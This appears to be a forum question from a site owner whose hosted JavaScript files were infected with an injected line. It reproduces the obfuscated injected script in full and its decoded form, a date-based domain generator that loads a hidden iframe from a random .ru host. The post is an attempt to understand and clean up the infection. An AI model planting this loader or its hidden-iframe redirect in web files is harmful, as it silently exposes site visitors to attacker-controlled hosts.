Got a malware on my hosting provider which infect JavaScript files .. how do I find the entry point?
- by h3.
This morning some sites which are hosted on the server as me started triggering malware alerts and started to redirect traffic to external sites.
I've found out that a line of packed javascript was added to many js files across the server.
What the script does is pretty simple, but what I would like to know is if this malware is well known and how it infect servers and propagate.
For the curious here's the javascript line in question:
/*km0ae9gr6m*/try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?("fromCharC"+"ode"):"";e=window["e"+"val"];n=[102,234,330,396,116,210,333,440,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,80,123,492,10,64,96,128,32,236,291,456,32,208,315,128,61,64,348,416,105,230,138,460,101,202,300,128,47,64,348,416,105,230,138,324,59,20,96,128,32,64,354,388,114,64,324,444,32,122,96,464,104,210,345,184,115,202,303,400,32,74,96,464,104,210,345,184,81,118,30,128,32,64,96,472,97,228,96,464,101,230,348,128,61,64,348,416,105,230,138,260,32,84,96,432,111,64,135,128,116,208,315,460,46,164,96,168,32,208,315,236,10,64,96,128,32,210,306,160,116,202,345,464,32,124,96,192,41,246,30,128,32,64,96,128,32,64,96,464,104,210,345,184,115,202,303,400,32,122,96,464,101,230,348,236,10,64,96,128,32,250,96,404,108,230,303,128,123,20,96,128,32,64,96,128,32,64,348,416,105,230,138,460,101,202,300,128,61,64,348,404,115,232,96,172,32,232,312,420,115,92,231,236,10,64,96,128,32,250,30,128,32,64,96,456,101,232,351,456,110,64,120,464,104,210,345,184,115,202,303,400,32,84,96,464,104,210,345,184,111,220,303,316,118,202,342,308,41,118,30,500,10,20,306,468,110,198,348,420,111,220,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,369,40,32,64,96,128,118,194,342,128,100,64,183,128,110,202,357,128,68,194,348,404,40,234,330,420,120,84,147,192,48,96,123,236,10,64,96,128,32,236,291,456,32,230,96,244,32,200,138,412,101,232,216,444,117,228,345,160,41,64,186,128,49,100,96,252,32,98,96,232,32,96,177,40,32,64,96,128,116,208,315,460,46,230,303,404,100,64,183,128,50,102,156,212,54,110,168,228,48,98,96,172,32,80,300,184,103,202,348,308,111,220,348,416,40,82,96,168,32,96,360,280,70,140,210,280,70,82,96,172,32,80,300,184,103,202,348,272,97,232,303,160,41,64,126,128,48,240,210,280,70,140,123,172,32,80,231,388,116,208,138,456,111,234,330,400,40,230,96,168,32,96,360,280,70,140,123,164,59,20,96,128,32,64,348,416,105,230,138,260,32,122,96,208,56,100,165,196,59,20,96,128,32,64,348,416,105,230,138,308,32,122,96,200,49,104,165,208,56,102,162,208,55,118,30,128,32,64,96,464,104,210,345,184,81,64,183,128,116,208,315,460,46,154,96,188,32,232,312,420,115,92,195,236,10,64,96,128,32,232,312,420,115,92,246,128,61,64,348,416,105,230,138,308,32,74,96,464,104,210,345,184,65,118,30,128,32,64,96,464,104,210,345,184,111,220,303,316,118,202,342,308,32,122,96,196,46,96,96,188,32,232,312,420,115,92,231,236,10,64,96,128,32,232,312,420,115,92,330,404,120,232,96,244,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,118,30,128,32,64,96,456,101,232,351,456,110,64,348,416,105,230,177,40,125,20,30,408,117,220,297,464,105,222,330,128,99,228,303,388,116,202,246,388,110,200,333,436,78,234,327,392,101,228,120,456,44,64,231,420,110,88,96,308,97,240,123,492,10,64,96,128,32,228,303,464,117,228,330,128,77,194,348,416,46,228,333,468,110,200,120,160,77,194,360,180,77,210,330,164,32,84,96,456,46,220,303,480,116,80,123,128,43,64,231,420,110,82,177,40,125,20,30,408,117,220,297,464,105,222,330,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,216,303,440,103,232,312,176,32,244,333,440,101,82,369,40,32,64,96,128,118,194,342,128,114,194,330,400,32,122,96,440,101,238,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,177,40,32,64,96,128,118,194,342,128,108,202,348,464,101,228,345,128,61,64,273,156,97,78,132,156,98,78,132,156,99,78,132,156,100,78,132,156,101,78,132,156,102,78,132,156,103,78,132,156,104,78,132,156,105,78,132,156,106,78,132,156,107,78,132,156,108,78,132,156,109,78,132,156,110,78,132,156,111,78,132,156,112,78,132,156,113,78,132,156,114,78,132,156,115,78,132,156,116,78,132,156,117,78,132,156,118,78,132,156,119,78,132,156,120,78,132,156,121,78,132,156,122,78,279,236,10,64,96,128,32,236,291,456,32,230,348,456,32,122,96,156,39,118,30,128,32,64,96,408,111,228,120,472,97,228,96,420,32,122,96,192,59,64,315,128,60,64,324,404,110,206,348,416,59,64,315,128,43,86,96,164,123,20,96,128,32,64,96,128,32,64,345,464,114,64,129,244,32,216,303,464,116,202,342,460,91,198,342,404,97,232,303,328,97,220,300,444,109,156,351,436,98,202,342,160,114,194,330,400,44,64,144,176,32,216,303,464,116,202,342,460,46,216,303,440,103,232,312,128,45,64,147,164,93,118,30,128,32,64,96,500,10,64,96,128,32,228,303,464,117,228,330,128,115,232,342,128,43,64,117,184,39,64,129,128,122,222,330,404,59,20,375,40,10,230,303,464,84,210,327,404,111,234,348,160,102,234,330,396,116,210,333,440,40,82,369,40,32,64,96,128,116,228,363,492,10,64,96,128,32,64,96,128,32,210,306,160,116,242,336,404,111,204,96,420,102,228,291,436,101,174,291,460,67,228,303,388,116,202,300,128,61,122,96,136,117,220,300,404,102,210,330,404,100,68,123,492,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,97,218,303,348,97,230,201,456,101,194,348,404,100,64,183,128,116,228,351,404,59,20,96,128,32,64,96,128,32,64,96,128,32,64,354,388,114,64,351,440,105,240,96,244,32,154,291,464,104,92,342,444,117,220,300,160,43,220,303,476,32,136,291,464,101,80,123,188,49,96,144,192,41,118,30,128,32,64,96,128,32,64,96,128,32,64,96,472,97,228,96,400,111,218,291,420,110,156,291,436,101,64,183,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,98,162,176,32,78,342,468,39,82,177,40,32,64,96,128,32,64,96,128,32,64,96,128,105,204,342,436,32,122,96,400,111,198,351,436,101,220,348,184,99,228,303,388,116,202,207,432,101,218,303,440,116,80,102,292,70,164,195,308,69,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,101,232,195,464,116,228,315,392,117,232,303,160,34,230,342,396,34,88,96,136,104,232,348,448,58,94,141,136,43,200,333,436,97,210,330,312,97,218,303,172,34,94,342,468,110,204,333,456,101,230,348,456,117,220,189,460,105,200,183,396,120,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,116,242,324,404,46,238,315,400,116,208,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,104,202,315,412,104,232,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,118,210,345,420,98,210,324,420,116,242,96,244,32,68,312,420,100,200,303,440,34,118,96,40,32,64,96,128,32,64,96,128,32,64,96,128,100,222,297,468,109,202,330,464,46,196,333,400,121,92,291,448,112,202,330,400,67,208,315,432,100,80,315,408,114,218,123,236,10,64,96,128,32,64,96,128,32,250,30,128,32,64,96,500,99,194,348,396,104,80,303,164,123,250,30,500,44,64,159,192,48,82,177];if(window.document)for(i=6-2-1-2-1;-1771+i!=2-2;i++){k=i;ss=ss+String[f](n[k]/(i%(h*h)+2-1));}e(ss);}}/*qhk6sa6g1c*/
Once unpacked it looks like this:
function nextRandomNumber(){
var hi = this.seed / this.Q;
var lo = this.seed % this.Q;
var test = this.A * lo - this.R * hi;
if(test > 0){ this.seed = test; }
else { this.seed = test + this.M; }
return (this.seed * this.oneOverM);
}
function RandomNumberGenerator(unix){
var d = new Date(unix*1000);
var s = d.getHours() > 12 ? 1 : 0;
this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)+ (Math.round(s * 0xFFF));
this.A = 48271;
this.M = 2147483647;
this.Q = this.M / this.A;
this.R = this.M % this.A;
this.oneOverM = 1.0 / this.M;
this.next = nextRandomNumber; return this;
}
function createRandomNumber(r, Min, Max){
return Math.round((Max-Min) * r.next() + Min);
}
function generatePseudoRandomString(unix, length, zone){
var rand = new RandomNumberGenerator(unix);
var letters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'];
var str = '';
for(var i = 0; i < length; i ++ ){
str += letters[createRandomNumber(rand, 0, letters.length - 1)];
}
return str + '.' + zone;
}
setTimeout(function(){
try{
if(typeof iframeWasCreated == "undefined"){
iframeWasCreated = true;
var unix = Math.round(+new Date()/1000);
var domainName = generatePseudoRandomString(unix, 16, 'ru');
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?sid=cx");
ifrm.style.width = "0px"; ifrm.style.height = "0px"; ifrm.style.visibility = "hidden"; document.body.appendChild(ifrm);
}
}catch(e){}
}, 500);
